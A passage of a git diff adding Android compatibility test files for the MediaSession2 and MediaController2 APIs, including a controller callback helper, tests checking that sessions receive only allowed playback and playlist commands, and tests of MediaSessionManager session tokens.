+        if (!(callback instanceof WaitForConnectionInterface)) {
+            throw new RuntimeException("Test has a bug. Expected controller with callback "
+                    + " implemented WaitForConnectionInterface but got " + controller);
+        }
+        return (WaitForConnectionInterface) callback;
+    }
+
+    public static void waitForConnect(MediaController2 controller, boolean expected)
+            throws InterruptedException {
+        getWaitForConnectionInterface(controller).waitForConnect(expected);
+    }
+
+    public static void waitForDisconnect(MediaController2 controller, boolean expected)
+            throws InterruptedException {
+        getWaitForConnectionInterface(controller).waitForDisconnect(expected);
+    }
+
+    TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+            @Nullable ControllerCallback callback) {
+        if (callback == null) {
+            callback = new ControllerCallback() {};
+        }
+        return new TestMediaController(mContext, token, new TestControllerCallback(callback));
+    }
+
+    // TODO(jaewan): (Can be Post-P): Deprecate this
+    public static class TestControllerCallback extends MediaController2.ControllerCallback
+            implements WaitForConnectionInterface {
+        public final ControllerCallback mCallbackProxy;
+        public final CountDownLatch connectLatch = new CountDownLatch(1);
+        public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+        TestControllerCallback(@NonNull ControllerCallback callbackProxy) {
+            if (callbackProxy == null) {
+                throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+            }
+            mCallbackProxy = callbackProxy;
+        }
+
+        @CallSuper
+        @Override
+        public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+            connectLatch.countDown();
+        }
+
+        @CallSuper
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            disconnectLatch.countDown();
+        }
+
+        @Override
+        public void waitForConnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void waitForDisconnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                Bundle args, ResultReceiver receiver) {
+            mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+        }
+
+        @Override
+        public void onPlaybackInfoChanged(MediaController2 controller,
+                MediaController2.PlaybackInfo info) {
+            mCallbackProxy.onPlaybackInfoChanged(controller, info);
+        }
+
+        @Override
+        public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+            mCallbackProxy.onCustomLayoutChanged(controller, layout);
+        }
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+        }
+
+        @Override
+        public void onPlayerStateChanged(MediaController2 controller, int state) {
+            mCallbackProxy.onPlayerStateChanged(controller, state);
+        }
+
+        @Override
+        public void onSeekCompleted(MediaController2 controller, long position) {
+            mCallbackProxy.onSeekCompleted(controller, position);
+        }
+
+        @Override
+        public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+            mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+        }
+
+        @Override
+        public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+                int state) {
+            mCallbackProxy.onBufferingStateChanged(controller, item, state);
+        }
+
+        @Override
+        public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+            mCallbackProxy.onError(controller, errorCode, extras);
+        }
+
+        @Override
+        public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+            mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+        }
+
+        @Override
+        public void onPlaylistChanged(MediaController2 controller,
+                List<MediaItem2> list, MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+        }
+
+        @Override
+        public void onPlaylistMetadataChanged(MediaController2 controller,
+                MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+        }
+
+        @Override
+        public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+            mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+        }
+
+        @Override
+        public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+            mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+        }
+    }
+
+    public class TestMediaController extends MediaController2 implements TestControllerInterface {
+        private final ControllerCallback mCallback;
+
+        public TestMediaController(@NonNull Context context, @NonNull SessionToken2 token,
+                @NonNull ControllerCallback callback) {
+            super(context, token, sHandlerExecutor, callback);
+            mCallback = callback;
+        }
+
+        @Override
+        public ControllerCallback getCallback() {
+            return mCallback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
new file mode 100644
index 0000000..91dc369
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.media.MediaController2;
+import android.media.MediaItem2;
+import android.media.MediaSession2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests whether {@link MediaSession2} receives commands that hasn't allowed.
+ */
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2_PermissionTest extends MediaSession2TestBase {
+    private static final String SESSION_ID = "MediaSession2Test_permission";
+
+    private MockPlayer mPlayer;
+    private MediaSession2 mSession;
+    private MySessionCallback mCallback;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        if (mSession != null) {
+            mSession.close();
+            mSession = null;
+        }
+        mPlayer = null;
+        mCallback = null;
+    }
+
+    private MediaSession2 createSessionWithAllowedActions(final SessionCommandGroup2 commands) {
+        mPlayer = new MockPlayer(0);
+        mCallback = new MySessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (Process.myUid() != controller.getUid()) {
+                    return null;
+                }
+                return commands == null ? new SessionCommandGroup2() : commands;
+            }
+        };
+        if (mSession != null) {
+            mSession.close();
+        }
+        mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer).setId(SESSION_ID)
+                .setSessionCallback(sHandlerExecutor, mCallback).build();
+        return mSession;
+    }
+
+    private SessionCommandGroup2 createCommandGroupWith(int commandCode) {
+        SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addCommand(new SessionCommand2(commandCode));
+        return commands;
+    }
+
+    private SessionCommandGroup2 createCommandGroupWithout(int commandCode) {
+        SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addAllPredefinedCommands();
+        commands.removeCommand(new SessionCommand2(commandCode));
+        return commands;
+    }
+
+    private void testOnCommandRequest(int commandCode, PermissionTestRunnable runnable)
+            throws InterruptedException {
+        createSessionWithAllowedActions(createCommandGroupWith(commandCode));
+        runnable.run(createController(mSession.getToken()));
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnCommandRequestCalled);
+        assertEquals(commandCode, mCallback.mCommand.getCommandCode());
+
+        createSessionWithAllowedActions(createCommandGroupWithout(commandCode));
+        runnable.run(createController(mSession.getToken()));
+
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnCommandRequestCalled);
+    }
+
+    @Test
+    public void testPlay() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
+            controller.play();
+        });
+    }
+
+    @Test
+    public void testPause() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
+            controller.pause();
+        });
+    }
+
+    @Test
+    public void testStop() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
+            controller.stop();
+        });
+    }
+
+    @Test
+    public void testFastForward() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
+            controller.fastForward();
+        });
+    }
+
+    @Test
+    public void testRewind() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
+            controller.rewind();
+        });
+    }
+
+    @Test
+    public void testSeekTo() throws InterruptedException {
+        final long position = 10;
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
+            controller.seekTo(position);
+        });
+    }
+
+    @Test
+    public void testSkipToNext() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
+            controller.skipToNextItem();
+        });
+    }
+
+    @Test
+    public void testSkipToPrevious() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
+            controller.skipToPreviousItem();
+        });
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
+            controller.skipToPlaylistItem(testItem);
+        });
+    }
+
+    @Test
+    public void testSetPlaylist() throws InterruptedException {
+        List<MediaItem2> list = TestUtils.createPlaylist(2);
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
+            controller.setPlaylist(list, null);
+        });
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
+            controller.updatePlaylistMetadata(null);
+        });
+    }
+
+    @Test
+    public void testAddPlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
+            controller.addPlaylistItem(0, testItem);
+        });
+    }
+
+    @Test
+    public void testRemovePlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
+            controller.removePlaylistItem(testItem);
+        });
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
+            controller.replacePlaylistItem(0, testItem);
+        });
+    }
+
+    @Test
+    public void testSetVolume() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
+            controller.setVolumeTo(0, 0);
+        });
+    }
+
+    @Test
+    public void testPlayFromMediaId() throws InterruptedException {
+        final String mediaId = "testPlayFromMediaId";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+        createController(mSession.getToken()).playFromMediaId(mediaId, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+        assertEquals(mediaId, mCallback.mMediaId);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+        createController(mSession.getToken()).playFromMediaId(mediaId, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromMediaIdCalled);
+    }
+
+    @Test
+    public void testPlayFromUri() throws InterruptedException {
+        final Uri uri = Uri.parse("play://from.uri");
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+        createController(mSession.getToken()).playFromUri(uri, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromUriCalled);
+        assertEquals(uri, mCallback.mUri);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+        createController(mSession.getToken()).playFromUri(uri, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromUriCalled);
+    }
+
+    @Test
+    public void testPlayFromSearch() throws InterruptedException {
+        final String query = "testPlayFromSearch";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+        createController(mSession.getToken()).playFromSearch(query, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+        createController(mSession.getToken()).playFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromSearchCalled);
+    }
+
+    @Test
+    public void testPrepareFromMediaId() throws InterruptedException {
+        final String mediaId = "testPrepareFromMediaId";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+        createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+        assertEquals(mediaId, mCallback.mMediaId);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+        createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromMediaIdCalled);
+    }
+
+    @Test
+    public void testPrepareFromUri() throws InterruptedException {
+        final Uri uri = Uri.parse("prepare://from.uri");
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+        createController(mSession.getToken()).prepareFromUri(uri, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromUriCalled);
+        assertEquals(uri, mCallback.mUri);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+        createController(mSession.getToken()).prepareFromUri(uri, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromUriCalled);
+    }
+
+    @Test
+    public void testPrepareFromSearch() throws InterruptedException {
+        final String query = "testPrepareFromSearch";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        createController(mSession.getToken()).prepareFromSearch(query, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        createController(mSession.getToken()).prepareFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromSearchCalled);
+    }
+
+    @Test
+    public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
+        final String query = "testChangingPermissionWithSetAllowedCommands";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+
+        ControllerCallbackForPermissionChange controllerCallback =
+                new ControllerCallbackForPermissionChange();
+        MediaController2 controller =
+                createController(mSession.getToken(), true, controllerCallback);
+
+        controller.prepareFromSearch(query, null);
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+        mCallback.reset();
+
+        // Change allowed commands.
+        mSession.setAllowedCommands(getTestControllerInfo(),
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        assertTrue(controllerCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        controller.prepareFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private ControllerInfo getTestControllerInfo() {
+        List<ControllerInfo> controllers = mSession.getConnectedControllers();
+        assertNotNull(controllers);
+        for (int i = 0; i < controllers.size(); i++) {
+            if (Process.myUid() == controllers.get(i).getUid()) {
+                return controllers.get(i);
+            }
+        }
+        fail("Failed to get test controller info");
+        return null;
+    }
+
+    @FunctionalInterface
+    private interface PermissionTestRunnable {
+        void run(@NonNull MediaController2 controller);
+    }
+
+    public class MySessionCallback extends MediaSession2.SessionCallback {
+        public CountDownLatch mCountDownLatch;
+
+        public SessionCommand2 mCommand;
+        public String mMediaId;
+        public String mQuery;
+        public Uri mUri;
+        public Bundle mExtras;
+
+        public boolean mOnCommandRequestCalled;
+        public boolean mOnPlayFromMediaIdCalled;
+        public boolean mOnPlayFromSearchCalled;
+        public boolean mOnPlayFromUriCalled;
+        public boolean mOnPrepareFromMediaIdCalled;
+        public boolean mOnPrepareFromSearchCalled;
+        public boolean mOnPrepareFromUriCalled;
+
+
+        public MySessionCallback() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+
+            mCommand = null;
+            mMediaId = null;
+            mQuery = null;
+            mUri = null;
+            mExtras = null;
+
+            mOnCommandRequestCalled = false;
+            mOnPlayFromMediaIdCalled = false;
+            mOnPlayFromSearchCalled = false;
+            mOnPlayFromUriCalled = false;
+            mOnPrepareFromMediaIdCalled = false;
+            mOnPrepareFromSearchCalled = false;
+            mOnPrepareFromUriCalled = false;
+        }
+
+        @Override
+        public boolean onCommandRequest(MediaSession2 session, ControllerInfo controller,
+                SessionCommand2 command) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnCommandRequestCalled = true;
+            mCommand = command;
+            mCountDownLatch.countDown();
+            return super.onCommandRequest(session, controller, command);
+        }
+
+        @Override
+        public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+                String mediaId, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromMediaIdCalled = true;
+            mMediaId = mediaId;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+                String query, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromSearchCalled = true;
+            mQuery = query;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPlayFromUri(MediaSession2 session, ControllerInfo controller,
+                Uri uri, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromUriCalled = true;
+            mUri = uri;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+                String mediaId, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromMediaIdCalled = true;
+            mMediaId = mediaId;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+                String query, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromSearchCalled = true;
+            mQuery = query;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller,
+                Uri uri, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromUriCalled = true;
+            mUri = uri;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        // TODO(jaewan): Add permission test for setRating()
+    }
+
+    public class ControllerCallbackForPermissionChange extends MediaController2.ControllerCallback {
+        public CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
new file mode 100644
index 0000000..8fad77a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaPlayerBase;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSessionManager} with {@link MediaSession2} specific APIs.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaSessionManager_MediaSession2Test";
+
+    private MediaSessionManager mManager;
+    private MediaSession2 mSession;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mManager = (MediaSessionManager) mContext.getSystemService(Context.MEDIA_SESSION_SERVICE);
+
+        // Specify TAG here so {@link MediaSession2.getInstance()} doesn't complaint about
+        // per test thread differs across the {@link MediaSession2} with the same TAG.
+        final MockPlayer player = new MockPlayer(1);
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(player)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() { })
+                .setId(TAG)
+                .build();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        sHandler.removeCallbacksAndMessages(null);
+        mSession.close();
+    }
+
+    // TODO(jaewan): Make this host-side test to see per-user behavior.
+    @Ignore
+    @Test
+    public void testGetMediaSession2Tokens_hasMediaController() throws InterruptedException {
+        final MockPlayer player = (MockPlayer) mSession.getPlayer();
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_IDLE);
+
+        MediaController2 controller = null;
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        assertNotNull(tokens);
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId())) {
+                assertNull(controller);
+                controller = createController(token);
+            }
+        }
+        assertNotNull(controller);
+
+        // Test if the found controller is correct one.
+        assertEquals(MediaPlayerBase.PLAYER_STATE_IDLE, controller.getPlayerState());
+        controller.play();
+
+        assertTrue(player.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(player.mPlayCalled);
+    }
+
+    /**
+     * Test if server recognizes a session even if the session refuses the connection from server.
+     *
+     * @throws InterruptedException
+     */
+    @Test
+    public void testGetSessionTokens_sessionRejected() throws InterruptedException {
+        mSession.close();
+        mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
+                .setId(TAG).setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(
+                            MediaSession2 session, ControllerInfo controller) {
+                        // Reject all connection request.
+                        return null;
+                    }
+                }).build();
+
+        boolean foundSession = false;
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        assertNotNull(tokens);
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId())) {
+                assertFalse(foundSession);
+                foundSession = true;
+            }
+        }
+        assertTrue(foundSession);
+    }
+
+    @Test
+    public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
+        mSession.close();
+
+        // When a session is closed, it should lose binder connection between server immediately.
+        // So server will forget the session.
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            assertFalse(mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId()));
+        }
+    }
+
+    @Test
+    public void testGetMediaSessionService2Token() throws InterruptedException {
+        boolean foundTestSessionService = false;
